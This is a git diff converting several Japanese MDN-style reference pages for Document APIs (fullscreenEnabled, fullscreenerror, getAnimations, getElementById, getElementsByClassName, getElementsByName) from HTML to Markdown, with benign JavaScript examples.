diff --git a/files/ja/web/api/document/fullscreenenabled/index.md b/files/ja/web/api/document/fullscreenenabled/index.md new file mode 100644 index 00000000000000..78f9a7afc57354 --- /dev/null +++ b/files/ja/web/api/document/fullscreenenabled/index.md @@ -0,0 +1,65 @@ +--- +title: Document.fullscreenEnabled +slug: Web/API/Document/fullscreenEnabled +tags: + - API + - Document + - Fullscreen API + - Property + - Read-only + - Reference + - fullscreenEnabled + - プロパティ + - 全画面 + - 画面 +translation_of: Web/API/Document/fullscreenEnabled +--- +{{APIRef("Fullscreen API")}} + +{{domxref("Document")}} インターフェイスの **`fullscreenEnabled`** プロパティは読み取り専用で、全画面モードが使用できるかを示します。全画面モードは文書内にウィンドウ化されたプラグインを含まないページ、および文書内のすべての {{HTMLElement("iframe")}} 要素が {{HTMLAttrXRef("allowfullscreen", "iframe")}} 属性を持つページに限り使用することができます。 + +このプロパティは読み取り専用ですが、変更されても (strict モードでも) 例外を投げません。セッターは何もしないので、無視されます。 + +## 構文 + +``` +var isFullscreenAvailable = document.fullscreenEnabled; +``` + +### 値 + +{{domxref("Boolean")}} 値であり、文書や要素が {{domxref("Element.requestFullscreen()")}} を呼び出すことで全画面モードに移行できるのであれば `true` です。全画面モードが利用できないのであれば、値は `false` になります。 + +## 例 + +この例では、 {{htmlElement("video")}} 要素に全画面モードへの移行を試みる前に `fullscreenEnabled` の値をチェックし、利用できない場合には移行を試みないようにします。 + +```js +function requestFullScreen() { + if (document.fullscreenEnabled) { + videoElement.requestFullScreen(); + } else { + console.log('現在ブラウザーは全画面モードを使用することができません'); + } +} +``` + +## 仕様書 + +| 仕様書 | 状態 | 備考 | +| ------------------------------------------------------------------------------------------------------------------------ | -------------------------------- | -------- | +| {{SpecName("Fullscreen", "#dom-document-fullscreenenabled", "Document.fullscreenEnabled")}} | {{Spec2("Fullscreen")}} | 初回定義 | + +## ブラウザーの互換性 + +{{Compat("api.Document.fullscreenEnabled")}} + +## 関連情報 + +- [Fullscreen API](/ja/docs/Web/API/Fullscreen_API) +- [Fullscreen API ガイド](/ja/docs/Web/API/Fullscreen_API/Guide) +- {{domxref("Element.requestFullscreen()")}} +- {{domxref("Document.exitFullscreen()")}} +- {{domxref("Document.fullscreenElement")}} +- {{cssxref(":fullscreen")}} および {{cssxref("::backdrop")}} +- {{HTMLElement("iframe")}} 要素の {{HTMLAttrXRef("allowfullscreen", "iframe")}} 属性 diff --git a/files/ja/web/api/document/fullscreenerror_event/index.html b/files/ja/web/api/document/fullscreenerror_event/index.html deleted file mode 100644 index 7459024c5d3c9e..00000000000000 --- a/files/ja/web/api/document/fullscreenerror_event/index.html +++ /dev/null @@ -1,81 +0,0 @@ ---- -title: 'Document: fullscreenerror イベント' -slug: Web/API/Document/fullscreenerror_event -tags: - - API - - Error - - Event - - Fullscreen API - - Reference - - fullscreen - - fullscreenerror -translation_of: Web/API/Document/fullscreenerror_event ---- -

{{APIRef}}

- -

fullscreenerror イベントは、ブラウザーが全画面モードに移行できないときに発生します。

- - - - - - - - - - - - - - - - - - - - -
バブリングあり
キャンセル不可
インターフェイス{{domxref("Event")}}
イベントハンドラープロパティ{{domxref("Document.onfullscreenerror", "onfullscreenerror")}}
- -

{{domxref("Document/fullscreenchange_event", "fullscreenchange")}} イベントと同様、二つの fullscreenerror イベントが発行されます。一つ目はモード切替に失敗した {{domxref("Element")}} へ送られ、二つ目はその要素を所有する {{domxref("Document")}} へ送られます。

- -

全画面モードへの切り替えに失敗する理由については、全画面 API のガイドを参照してください。

- -

- -
const requestor = document.querySelector('div');
-
-document.addEventListener('fullscreenerror', (event) => {
-  console.error('an error occurred changing into fullscreen');
-  console.log(event);
-});
-
-requestor.requestFullscreen();
- -

仕様書

- - - - - - - - - - - - - - -
仕様書状態
{{SpecName("Fullscreen")}}{{Spec2("Fullscreen")}}
- -

ブラウザーの互換性

- -

{{Compat("api.Document.fullscreenerror_event")}}

- -

関連情報

- - diff --git a/files/ja/web/api/document/fullscreenerror_event/index.md b/files/ja/web/api/document/fullscreenerror_event/index.md new file mode 100644 index 00000000000000..37e3205da8884b --- /dev/null +++ b/files/ja/web/api/document/fullscreenerror_event/index.md @@ -0,0 +1,72 @@ +--- +title: 'Document: fullscreenerror イベント' +slug: Web/API/Document/fullscreenerror_event +tags: + - API + - Error + - Event + - Fullscreen API + - Reference + - fullscreen + - fullscreenerror +translation_of: Web/API/Document/fullscreenerror_event +--- +{{APIRef}} + +`fullscreenerror` イベントは、ブラウザーが全画面モードに移行できないときに発生します。 + + + + + + + + + + + + + + + + + + + + +
バブリングあり
キャンセル不可
インターフェイス{{domxref("Event")}}
イベントハンドラープロパティ + {{domxref("Document.onfullscreenerror", "onfullscreenerror")}} +
+ +{{domxref("Document/fullscreenchange_event", "fullscreenchange")}} イベントと同様、二つの `fullscreenerror` イベントが発行されます。一つ目はモード切替に失敗した {{domxref("Element")}} へ送られ、二つ目はその要素を所有する {{domxref("Document")}} へ送られます。 + +全画面モードへの切り替えに失敗する理由については、[全画面 API のガイド](/ja/docs/Web/API/Fullscreen_API/Guide)を参照してください。 + +## 例 + +```js +const requestor = document.querySelector('div'); + +document.addEventListener('fullscreenerror', (event) => { + console.error('an error occurred changing into fullscreen'); + console.log(event); +}); + +requestor.requestFullscreen(); +``` + +## 仕様書 + +| 仕様書 | 状態 | +| ------------------------------------ | -------------------------------- | +| {{SpecName("Fullscreen")}} | {{Spec2("Fullscreen")}} | + +## ブラウザーの互換性 + +{{Compat("api.Document.fullscreenerror_event")}} + +## 関連情報 + +- {{domxref("Document/fullscreenchange_event", "fullscreenchange")}} +- [Fullscreen API](/ja/docs/Web/API/Fullscreen_API) +- [Fullscreen API のガイド](/ja/docs/Web/API/Fullscreen_API/Guide) diff --git a/files/ja/web/api/document/getanimations/index.html b/files/ja/web/api/document/getanimations/index.html deleted file mode 100644 index a99523a92d9ae1..00000000000000 --- a/files/ja/web/api/document/getanimations/index.html +++ /dev/null @@ -1,80 +0,0 @@ ---- -title: Document.getAnimations() -slug: Web/API/Document/getAnimations -tags: - - API - - Animation - - CSS - - CSS Animations - - CSS Transitions - - Document - - Experimental - - Method - - Reference - - Transitions - - Web Animations - - getAnimations - - waapi - - web animations api -translation_of: Web/API/DocumentOrShadowRoot/getAnimations -original_slug: Web/API/DocumentOrShadowRoot/getAnimations ---- -

{{ SeeCompatTable() }}{{APIRef("Web Animations")}}

- -

getAnimations() メソッドは {{domxref("Document")}} インターフェイスのメソッドで、この文書の配下にあるターゲット要素にあるすべての {{domxref("Animation")}} オブジェクトの配列を返します。この配列には CSS アニメーション, CSS トランジション, ウェブアニメーション が含まれます。

- -

構文

- -
var allAnimations = Document.getAnimations();
-
- -

引数

- -

なし。

- -

返値

- -

{{domxref("Animation")}} オブジェクトの {{jsxref("Array")}} で、それぞれの要素は呼び出された {{domxref("Document")}} の配下にある要素に現在関連付けられているアニメーション1つを表します。

- -

- -

次のコードスニペットは、ページ上のすべてのアニメーションの {{domxref("Animation.playbackRate")}} を半分にすることで速度をゆっくりにします。

- -
document.getAnimations().forEach(
-  function (animation) {
-    animation.playbackRate *= .5;
-  }
-);
- -

仕様書

- - - - - - - - - - - - - - - - -
仕様書状態備考
{{SpecName('Web Animations', '#dom-documentorshadowroot-getanimations', 'document.getAnimations()' )}}{{Spec2('Web Animations')}}
- -

ブラウザーの互換性

- -

{{Compat("api.Document.getAnimations")}}

- -

関連情報

- - diff --git a/files/ja/web/api/document/getanimations/index.md b/files/ja/web/api/document/getanimations/index.md new file mode 100644 index 00000000000000..b91d6c7185787f --- /dev/null +++ b/files/ja/web/api/document/getanimations/index.md @@ -0,0 +1,68 @@ +--- +title: Document.getAnimations() +slug: Web/API/Document/getAnimations +tags: + - API + - Animation + - CSS + - CSS Animations + - CSS Transitions + - Document + - Experimental + - Method + - Reference + - Transitions + - Web Animations + - getAnimations + - waapi + - web animations api +translation_of: Web/API/DocumentOrShadowRoot/getAnimations +original_slug: Web/API/DocumentOrShadowRoot/getAnimations +--- +{{ SeeCompatTable() }}{{APIRef("Web Animations")}} + +`getAnimations()` メソッドは {{domxref("Document")}} インターフェイスのメソッドで、この文書の配下にあるターゲット要素にあるすべての {{domxref("Animation")}} オブジェクトの配列を返します。この配列には [CSS アニメーション](/ja/docs/Web/CSS/CSS_Animations), [CSS トランジション](/ja/docs/Web/CSS/CSS_Transitions), [ウェブアニメーション](/ja/docs/Web/API/Web_Animations_API) が含まれます。 + +## 構文 + +``` +var allAnimations = Document.getAnimations(); +``` + +### 引数 + +なし。 + +### 返値 + +{{domxref("Animation")}} オブジェクトの {{jsxref("Array")}} で、それぞれの要素は呼び出された {{domxref("Document")}} の配下にある要素に現在関連付けられているアニメーション 1 つを表します。 + +## 例 + +次のコードスニペットは、ページ上のすべてのアニメーションの {{domxref("Animation.playbackRate")}} を半分にすることで速度をゆっくりにします。 + +```js +document.getAnimations().forEach( + function (animation) { + animation.playbackRate *= .5; + } +); +``` + +## 仕様書 + +| 仕様書 | 状態 | 備考 | +| ---------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------ | ---- | +| {{SpecName('Web Animations', '#dom-documentorshadowroot-getanimations', 'document.getAnimations()' )}} | {{Spec2('Web Animations')}} | | + +## ブラウザーの互換性 + +{{Compat("api.Document.getAnimations")}} + +## 関連情報 + +- [ウェブアニメーション API](/ja/docs/Web/API/Web_Animations_API) +- [CSS アニメーション](/ja/docs/Web/CSS/CSS_Animations) +- [CSS トランジション](/ja/docs/Web/CSS/CSS_Transitions) +- {{domxref("Element.getAnimations()")}} - 単一の要素 ({{domxref("Element")}}) とその子孫にあるアニメーションのみを読み取る +- {{domxref("Animation")}} diff --git a/files/ja/web/api/document/getelementbyid/index.html b/files/ja/web/api/document/getelementbyid/index.html deleted file mode 100644 index 6bf6b57b9777f5..00000000000000 --- a/files/ja/web/api/document/getelementbyid/index.html +++ /dev/null @@ -1,149 +0,0 @@ ---- -title: Document.getElementById() -slug: Web/API/Document/getElementById -tags: - - API - - DOM - - Document - - Elements - - Method - - Reference - - Web - - getElementById - - id -translation_of: Web/API/Document/getElementById ---- -
{{ ApiRef("DOM") }}
- -

{{domxref("Document")}} の getElementById() メソッドは、 {{domxref("Element.id", "id")}} プロパティが指定された文字列に一致する要素を表す {{domxref("Element")}} オブジェクトを返します。要素の ID は指定されていれば固有であることが求められているため、特定の要素にすばやくアクセスするには便利な方法です。

- -

ID を持たない要素にアクセスする必要がある場合は、 {{domxref("Document.querySelector", "querySelector()")}} で何らかの{{Glossary("CSS selector", "セレクター")}}を使用して要素を検索することができます。

- -

構文

- -
var element = document.getElementById(id);
-
- -

引数

- -
-
id
-
探す要素の ID です。 ID は大文字と小文字の区別がある文字列で、文書内で固有です。指定された ID の要素は一つしかありません。
-
- -

返値

- -

指定された ID に一致する DOM 要素オブジェクトを記述した {{domxref("Element")}} オブジェクト、または文書内に一致する要素がなければ null です。

- -

- -

HTML

- -
<html>
-<head>
-  <title>getElementById example</title>
-</head>
-<body>
-  <p id="para">Some text here</p>
-  <button onclick="changeColor('blue');">blue</button>
-  <button onclick="changeColor('red');">red</button>
-</body>
-</html>
- -

JavaScript

- -
function changeColor(newColor) {
-  var elem = document.getElementById('para');
-  elem.style.color = newColor;
-}
- -

結果

- -

{{ EmbedLiveSample('Example', 250, 100) }}

- -

使用上のメモ

- -

コードが機能するためには、メソッドの名前の中の "Id" は、大文字と小文字を正しく表記しなければなりませんgetElementByID() は自然に見えますが、妥当ではなく動作しません。

- -

{{domxref("Document.querySelector()")}} や {{domxref("Document.querySelectorAll()")}} などの他の要素検索メソッドとは異なり、 getElementById() はグローバルの document オブジェクトに対してのみ利用可能であり、 DOM のすべての要素オブジェクトのメソッドとしては利用できません。 ID の値は文書全体を通して固有でなければならないため、機能の「ローカル」バージョンは必要ないのです。

- -

- -
<!doctype html>
-<html>
-<head>
-    <meta charset="UTF-8">
-    <title>Document</title>
-</head>
-<body>
-    <div id="parent-id">
-        <p>hello word1</p>
-        <p id="test1">hello word2</p>
-        <p>hello word3</p>
-        <p>hello word4</p>
-    </div>
-    <script>
-        var parentDOM = document.getElementById('parent-id');
-        var test1 = parentDOM.getElementById('test1');
-        //throw error
-        //Uncaught TypeError: parentDOM.getElementById is not a function
-    </script>
-</body>
-</html>
- -

もし指定された id を持つ要素がなければ、この関数は null を返します。なお、 id 引数は大文字小文字の区別があるため、 document.getElementById("Main")<div id="main"> 要素の代わりに null を返し、これは "M" と "m" がこのメソッドの目的では区別されるためです。

- -

文書内にない要素getElementById() で検索されません。要素を作成し ID を割り当てたとき、 getElementById() でアクセスする前に {{domxref("Node.insertBefore()")}} またはそのたぐいのメソッドで、要素を文書ツリーに挿入しておく必要があります。

- -
var element = document.createElement('div');
-element.id = 'testqq';
-var el = document.getElementById('testqq'); // el は null になります
-
- -

HTML 以外の文書の場合。 DOM の実装では、どの属性が ID 類であるかを示す情報が必要です。 "id" という名前の属性は、文書の DTD で定義されていない限り ID 類とみなされません。 id 属性は XHTML, XUL などの一般的な場合には ID 類として定義されています。属性が ID 類であるかどうかが分からない実装では、 null を返すでしょう。

- -

仕様書

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
仕様書状態備考
{{SpecName('DOM1','level-one-html.html#method-getElementById','getElementById')}}{{Spec2('DOM1')}}インターフェイスの初回定義
{{SpecName('DOM2 Core','core.html#ID-getElBId','getElementById')}}{{Spec2('DOM2 Core')}}DOM 1 の置き換え
{{SpecName('DOM3 Core','core.html#ID-getElBId','getElementById')}}{{Spec2('DOM3 Core')}}DOM 2 の置き換え
{{SpecName('DOM WHATWG','#dom-nonelementparentnode-getelementbyid','getElementById')}}{{Spec2('DOM WHATWG')}}DOM 3 を置き換える予定
- -

ブラウザーの互換性

- -

{{Compat("api.Document.getElementById")}}

- -

関連情報

- -
    -
  • {{domxref("Document")}}: 文書内で要素への参照を取得するために使うことができる他のメソッドやプロパティで使用するための参照。
  • -
  • {{domxref("Document.querySelector()")}}: 'div.myclass' のようなセレクターを通したクエリのためのもの。
  • -
  • xml:id - getElementById() による XML 文書 (Ajax 呼び出しによって返されるものなど) の 'xml:id' の取得を可能とする便利なメソッドを持つ
  • -
diff --git a/files/ja/web/api/document/getelementbyid/index.md b/files/ja/web/api/document/getelementbyid/index.md new file mode 100644 index 00000000000000..7dda8222c66573 --- /dev/null +++ b/files/ja/web/api/document/getelementbyid/index.md @@ -0,0 +1,128 @@ +--- +title: Document.getElementById() +slug: Web/API/Document/getElementById +tags: + - API + - DOM + - Document + - Elements + - Method + - Reference + - Web + - getElementById + - id +translation_of: Web/API/Document/getElementById +--- +{{ ApiRef("DOM") }} + +{{domxref("Document")}} の **`getElementById()`** メソッドは、 {{domxref("Element.id", "id")}} プロパティが指定された文字列に一致する要素を表す {{domxref("Element")}} オブジェクトを返します。要素の ID は指定されていれば固有であることが求められているため、特定の要素にすばやくアクセスするには便利な方法です。 + +ID を持たない要素にアクセスする必要がある場合は、 {{domxref("Document.querySelector", "querySelector()")}} で何らかの{{Glossary("CSS selector", "セレクター")}}を使用して要素を検索することができます。 + +## 構文 + +``` +var element = document.getElementById(id); +``` + +### 引数 + +- `id` + - : 探す要素の ID です。 ID は大文字と小文字の区別がある文字列で、文書内で固有です。指定された ID の要素は一つしかありません。 + +### 返値 + +指定された ID に一致する DOM 要素オブジェクトを記述した {{domxref("Element")}} オブジェクト、または文書内に一致する要素がなければ `null` です。 + +## 例 + +### HTML + +```html + + + getElementById example + + +

Some text here

+ + + + +``` + +### JavaScript + +```js +function changeColor(newColor) { + var elem = document.getElementById('para'); + elem.style.color = newColor; +} +``` + +### 結果 + +{{ EmbedLiveSample('Example', 250, 100) }} + +## 使用上のメモ + +コードが機能するためには、メソッドの名前の中の `"Id"` は、大文字と小文字を正しく表記し*なければなりません*。 `getElementByID()` は自然に見えますが、妥当では*なく*動作しません。 + +{{domxref("Document.querySelector()")}} や {{domxref("Document.querySelectorAll()")}} などの他の要素検索メソッドとは異なり、 `getElementById()` はグローバルの `document` オブジェクトに対してのみ利用可能であり、 DOM のすべての要素オブジェクトのメソッドとしては利用*できません*。 ID の値は文書全体を通して固有でなければならないため、機能の「ローカル」バージョンは必要ないのです。 + +## 例 + +``` + + + + + Document + + +
+

hello word1

+

hello word2

+

hello word3

+

hello word4

+
+ + + +``` + +もし指定された `id` を持つ要素がなければ、この関数は `null` を返します。なお、 `id` 引数は大文字小文字の区別があるため、 `document.getElementById("Main")` は `
` 要素の代わりに `null` を返し、これは "M" と "m" がこのメソッドの目的では区別されるためです。 + +**文書内にない要素** は `getElementById()` で検索されません。要素を作成し ID を割り当てたとき、 `getElementById()` でアクセスする前に {{domxref("Node.insertBefore()")}} またはそのたぐいのメソッドで、要素を文書ツリーに挿入しておく必要があります。 + +```js +var element = document.createElement('div'); +element.id = 'testqq'; +var el = document.getElementById('testqq'); // el は null になります +``` + +**HTML 以外の文書**の場合。 DOM の実装では、どの属性が ID 類であるかを示す情報が必要です。 "id" という名前の属性は、文書の DTD で定義されていない限り ID 類とみなされません。 `id` 属性は [XHTML](/ja/docs/XHTML), [XUL](/ja/docs/XUL) などの一般的な場合には ID 類として定義されています。属性が ID 類であるかどうかが分からない実装では、 `null` を返すでしょう。 + +## 仕様書 + +| 仕様書 | 状態 | 備考 | +| -------------------------------------------------------------------------------------------------------------------- | -------------------------------- | -------------------------- | +| {{SpecName('DOM1','level-one-html.html#method-getElementById','getElementById')}} | {{Spec2('DOM1')}} | インターフェイスの初回定義 | +| {{SpecName('DOM2 Core','core.html#ID-getElBId','getElementById')}} | {{Spec2('DOM2 Core')}} | DOM 1 の置き換え | +| {{SpecName('DOM3 Core','core.html#ID-getElBId','getElementById')}} | {{Spec2('DOM3 Core')}} | DOM 2 の置き換え | +| {{SpecName('DOM WHATWG','#dom-nonelementparentnode-getelementbyid','getElementById')}} | {{Spec2('DOM WHATWG')}} | DOM 3 を置き換える予定 | + +## ブラウザーの互換性 + +{{Compat("api.Document.getElementById")}} + +## 関連情報 + +- {{domxref("Document")}}: 文書内で要素への参照を取得するために使うことができる他のメソッドやプロパティで使用するための参照。 +- {{domxref("Document.querySelector()")}}: `'div.myclass'` のようなセレクターを通したクエリのためのもの。 +- [xml:id](/ja/docs/xml/xml:id) - `getElementById()` による XML 文書 (Ajax 呼び出しによって返されるものなど) の 'xml:id' の取得を可能とする便利なメソッドを持つ diff --git a/files/ja/web/api/document/getelementsbyclassname/index.html b/files/ja/web/api/document/getelementsbyclassname/index.html deleted file mode 100644 index 956a475919062a..00000000000000 --- a/files/ja/web/api/document/getelementsbyclassname/index.html +++ /dev/null @@ -1,136 +0,0 @@ ---- -title: Document.getElementsByClassName() -slug: Web/API/Document/getElementsByClassName -tags: - - API - - DOM - - DOM Element Methods - - Element - - HTML5 - - Method - - Reference - - メソッド -translation_of: Web/API/Document/getElementsByClassName ---- -
{{APIRef("DOM")}}
- -

{{domxref("Document")}} インターフェイスの getElementsByClassName メソッドは、指定されたクラス名をすべて持つすべての子要素の配列風オブジェクトを返します。 {{domxref("document")}} オブジェクトに対して呼び出したときは、ルートノードを含む文書全体が検索されます。任意の要素に対して {{domxref("Element.getElementsByClassName", "getElementsByClassName()")}} を呼び出すこともできます。その場合は、指定されたルート要素下の指定されたクラス名を持つ要素だけを返します。

- -

構文

- -
var elements = document.getElementsByClassName(names); // または
-var elements = rootElement.getElementsByClassName(names);
- -
    -
  • elements は、見つかった要素の生きた {{domxref("HTMLCollection")}} です。
  • -
  • names は文字列で、一致させるクラス名を表します。複数のクラス名はホワイトスペースで区切ります。
  • -
  • {{domxref("Element.getElementsByClassName", "getElementsByClassName")}} は、 {{domxref("document")}} だけでなく、任意の要素に対して呼び出すことができます。呼び出した要素が検索のルートとして使われます。
  • -
- -

- -

'test' クラスを持つすべての要素を取得します。

- -
document.getElementsByClassName('test')
- -

'red' および 'test' クラスを両方持つすべての要素を取得します。

- -
document.getElementsByClassName('red test')
- -

'main' という ID を持った要素の中にある、 'text' クラスを持つすべての要素を取得します。

- -
document.getElementById('main').getElementsByClassName('test')
- -

'test' クラスを持つ最初の要素を取得し、一致する要素がなければ undefined になります。

- -
document.getElementsByClassName('test')[0]
- -

メソッドの this 値として {{domxref("HTMLCollection")}} を渡すことで、 Array プロトタイプのメソッドを HTMLCollection で使用することができます。ここでは、 'test' クラスを持つすべての div 要素を検索します。

- -
var testElements = document.getElementsByClassName('test');
-var testDivs = Array.prototype.filter.call(testElements, function(testElement){
-  return testElement.nodeName === 'DIV';
-});
- -

クラスが 'test' である最初の要素を取得する

- -

これは最もよく使われる操作のメソッドです。

- -
<html>
-<body>
-    <div id="parent-id">
-        <p>hello world 1</p>
-        <p class="test">hello world 2</p>
-        <p>hello world 3</p>
-        <p>hello world 4</p>
-    </div>
-
-    <script>
-        var parentDOM = document.getElementById("parent-id");
-
-        var test = parentDOM.getElementsByClassName("test"); // 一致する要素のリストであり、要素自身では*ない*
-        console.log(test); //HTMLCollection[1]
-
-        var testTarget = parentDOM.getElementsByClassName("test")[0]; // 求める最初の要素
-        console.log(testTarget); //<p class="test">hello world 2</p>
-    </script>
-</body>
-</html>
- -

複数のクラスの例

- -

document.getElementsByClassNamedocument.querySelectordocument.querySelectorAll ととても似た動きをします。指定されたクラス名がすべてある要素のみが選択されます。

- -

HTML

- -
<span class="orange fruit">Orange Fruit</span>
-<span class="orange juice">Orange Juice</span>
-<span class="apple juice">Apple Juice</span>
-<span class="foo bar">Something Random</span>
-<textarea id="resultArea" style="width:98%;height:7em"></textarea>
- -

JavaScript

- -
// getElementsByClassName は指定された両方のクラスを持つ要素のみを選択する
-var allOrangeJuiceByClass = document.getElementsByClassName('orange juice');
-var result = "document.getElementsByClassName('orange juice')";
-for (var i=0, len=allOrangeJuiceByClass.length|0; i<len; i=i+1|0) {
-    result += "\n  " + allOrangeJuiceByClass[i].textContent;
-}
-
-
-// querySelector は完全一致で選択する
-var allOrangeJuiceQuery = document.querySelectorAll('.orange.juice');
-result += "\n\ndocument.querySelectorAll('.orange.juice')";
-for (var i=0, len=allOrangeJuiceQuery.length|0; i<len; i=i+1|0) {
-    result += "\n  " + allOrangeJuiceQuery[i].textContent;
-}
-
-document.getElementById("resultArea").value = result;
- -

結果

- -

{{EmbedLiveSample('Multiple_Classes_Example', '100%', 200)}}

- -

仕様書

- - - - - - - - - - - - - - - - -
仕様書状態備考
{{SpecName('DOM WHATWG', '#dom-document-getelementsbyclassname', 'document.getElementsByClassName')}}{{Spec2('DOM WHATWG')}}
- -

ブラウザーの互換性

- -

{{Compat("api.Document.getElementsByClassName")}}

diff --git a/files/ja/web/api/document/getelementsbyclassname/index.md b/files/ja/web/api/document/getelementsbyclassname/index.md new file mode 100644 index 00000000000000..7283791ed6b74a --- /dev/null +++ b/files/ja/web/api/document/getelementsbyclassname/index.md @@ -0,0 +1,139 @@ +--- +title: Document.getElementsByClassName() +slug: Web/API/Document/getElementsByClassName +tags: + - API + - DOM + - DOM Element Methods + - Element + - HTML5 + - Method + - Reference + - メソッド +translation_of: Web/API/Document/getElementsByClassName +--- +{{APIRef("DOM")}} + +{{domxref("Document")}} インターフェイスの **`getElementsByClassName`** メソッドは、指定されたクラス名をすべて持つすべての子要素の配列風オブジェクトを返します。 {{domxref("document")}} オブジェクトに対して呼び出したときは、ルートノードを含む文書全体が検索されます。任意の要素に対して {{domxref("Element.getElementsByClassName", "getElementsByClassName()")}} を呼び出すこともできます。その場合は、指定されたルート要素下の指定されたクラス名を持つ要素だけを返します。 + +## 構文 + +``` +var elements = document.getElementsByClassName(names); // または +var elements = rootElement.getElementsByClassName(names); +``` + +- _elements_ は、見つかった要素の生きた {{domxref("HTMLCollection")}} です。 +- _names_ は文字列で、一致させるクラス名を表します。複数のクラス名はホワイトスペースで区切ります。 +- {{domxref("Element.getElementsByClassName", "getElementsByClassName")}} は、 {{domxref("document")}} だけでなく、任意の要素に対して呼び出すことができます。呼び出した要素が検索のルートとして使われます。 + +## 例 + +'test' クラスを持つすべての要素を取得します。 + +```js +document.getElementsByClassName('test') +``` + +'red' および 'test' クラスを両方持つすべての要素を取得します。 + +```js +document.getElementsByClassName('red test') +``` + +'main' という ID を持った要素の中にある、 'text' クラスを持つすべての要素を取得します。 + +```js +document.getElementById('main').getElementsByClassName('test') +``` + +'test' クラスを持つ最初の要素を取得し、一致する要素がなければ `undefined` になります。 + +```js +document.getElementsByClassName('test')[0] +``` + +メソッドの _this_ 値として {{domxref("HTMLCollection")}} を渡すことで、 Array プロトタイプのメソッドを `HTMLCollection` で使用することができます。ここでは、 'test' クラスを持つすべての div 要素を検索します。 + +```js +var testElements = document.getElementsByClassName('test'); +var testDivs = Array.prototype.filter.call(testElements, function(testElement){ + return testElement.nodeName === 'DIV'; +}); +``` + +### クラスが 'test' である最初の要素を取得する + +これは最もよく使われる操作のメソッドです。 + +``` + + +
+

hello world 1

+

hello world 2

+

hello world 3

+

hello world 4

+
+ + + + +``` + +### 複数のクラスの例 + +`document.getElementsByClassName` は `document.querySelector` や `document.querySelectorAll` ととても似た動きをします。指定されたクラス名がすべてある要素のみが選択されます。 + +#### HTML + +```html +Orange Fruit +Orange Juice +Apple Juice +Something Random + +``` + +#### JavaScript + +```js +// getElementsByClassName は指定された両方のクラスを持つ要素のみを選択する +var allOrangeJuiceByClass = document.getElementsByClassName('orange juice'); +var result = "document.getElementsByClassName('orange juice')"; +for (var i=0, len=allOrangeJuiceByClass.length|0; i{{APIRef("DOM")}}
- -

{{domxref("Document")}} オブジェクトの getElementsByName() メソッドは、文書内で指定した {{domxref("element.name","name")}} を持つ要素の {{domxref("NodeList")}} コレクションを返します。

- -

構文

- -
var elements = document.getElementsByName(name);
-
- -
    -
  • elements は、生きた {{domxref("NodeList")}} コレクション、つまり文書内で同じ name を持った新しい要素が追加されたり削除されたりすると自動的に更新されるものです。
  • -
  • name は、要素の name 属性の値です。
  • -
- -

- -
<!DOCTYPE html>
-<html lang="en">
-<title>document.getElementsByName の使用例</title>
-
-<input type="hidden" name="up">
-<input type="hidden" name="down">
-
-<script>
-  var up_names = document.getElementsByName("up");
-  console.log(up_names[0].tagName); // "INPUT" と表示
-</script>
-</html>
-
- -

メモ

- -

{{domxref("element.name","name")}} 属性は、(X)HTML 文書にのみ適用可能です。

- -

返却された {{domxref("NodeList")}} コレクションには、 {{htmlelement("meta")}} や {{htmlelement("object")}} など、それに name 属性にまったく対応していない要素も含め、指定された name を持つすべての要素が含まれます。

- -
-

getElementsByName メソッドは、 IE10 以前では動作が異なります。この場合、 getElementsByName() は指定された id 属性を持つ要素も返します。 name および id で同じ文字列を使用しないように注意してください。

-
- -
-

getElementsByName メソッドは IE では動作が異なります。この場合、 getElementsByName()name 属性を許容しない要素 (<span> など) を返しません。

-
- -
-

IE および Edge では、 {{domxref("NodeList")}} ではなく {{domxref("HTMLCollection")}} を返します。

-
- -

仕様書

- - - - - - - - - - - - - - - - - - - - - -
仕様書状態備考
{{SpecName('HTML WHATWG', '#dom-document-getelementsbyname', "Document.getElementsByName()")}}{{ Spec2('HTML WHATWG') }}
{{SpecName("DOM2 HTML", "html.html#ID-71555259", "Document.getElementsByName()")}}{{Spec2("DOM2 HTML")}}初回定義
- -

ブラウザーの対応

- -

{{Compat("api.Document.getElementsByName")}}

- -

関連情報

- -
    -
  • {{domxref("document.getElementById()")}} : 固有の id を持つ要素への参照を返す
  • -
  • {{domxref("document.getElementsByTagName()")}} : 同じタグ名の要素への参照を返す
  • -
  • {{domxref("document.querySelector()")}} : 'div.myclass' のような CSS セレクターによって要素への参照をかえす
  • -
diff --git a/files/ja/web/api/document/getelementsbyname/index.md b/files/ja/web/api/document/getelementsbyname/index.md new file mode 100644 index 00000000000000..a368f1ee1bc207 --- /dev/null +++ b/files/ja/web/api/document/getelementsbyname/index.md @@ -0,0 +1,72 @@ +--- +title: Document.getElementsByName() +slug: Web/API/Document/getElementsByName +tags: + - API + - DOM + - Document + - HTML + - Method + - Reference + - getElementByName + - メソッド +translation_of: Web/API/Document/getElementsByName +--- +{{APIRef("DOM")}} + +{{domxref("Document")}} オブジェクトの **`getElementsByName()`** メソッドは、文書内で指定した {{domxref("element.name","name")}} を持つ要素の {{domxref("NodeList")}} コレクションを返します。 + +## 構文 + +``` +var elements = document.getElementsByName(name); +``` + +- _elements_ は、生きた {{domxref("NodeList")}} コレクション、つまり文書内で同じ `name` を持った新しい要素が追加されたり削除されたりすると自動的に更新されるものです。 +- `name` は、要素の `name` 属性の値です。 + +## 例 + +```html + + +document.getElementsByName の使用例 + + + + + + +``` + +## メモ + +{{domxref("element.name","name")}} 属性は、(X)HTML 文書にのみ適用可能です。 + +返却された {{domxref("NodeList")}} コレクションには、 {{htmlelement("meta")}} や {{htmlelement("object")}} など、それに `name` 属性にまったく対応していない要素も含め、指定された `name` を持つ*すべての*要素が含まれます。 + +> **Warning:** **getElementsByName** メソッドは、 IE10 以前では動作が異なります。この場合、 `getElementsByName()` は指定された [`id` 属性](/ja/docs/Web/HTML/Global_attributes/id)を持つ要素も返します。 `name` および `id` で同じ文字列を使用しないように注意してください。 + +> **Warning:** **getElementsByName** メソッドは IE では動作が異なります。この場合、 `getElementsByName()` は `name` 属性を許容しない要素 (`` など) を返しません。 + +> **Warning:** IE および Edge では、 {{domxref("NodeList")}} ではなく {{domxref("HTMLCollection")}} を返します。 + +## 仕様書 + +| 仕様書 | 状態 | 備考 | +| ---------------------------------------------------------------------------------------------------------------------------- | ------------------------------------ | -------- | +| {{SpecName('HTML WHATWG', '#dom-document-getelementsbyname', "Document.getElementsByName()")}} | {{ Spec2('HTML WHATWG') }} | | +| {{SpecName("DOM2 HTML", "html.html#ID-71555259", "Document.getElementsByName()")}} | {{Spec2("DOM2 HTML")}} | 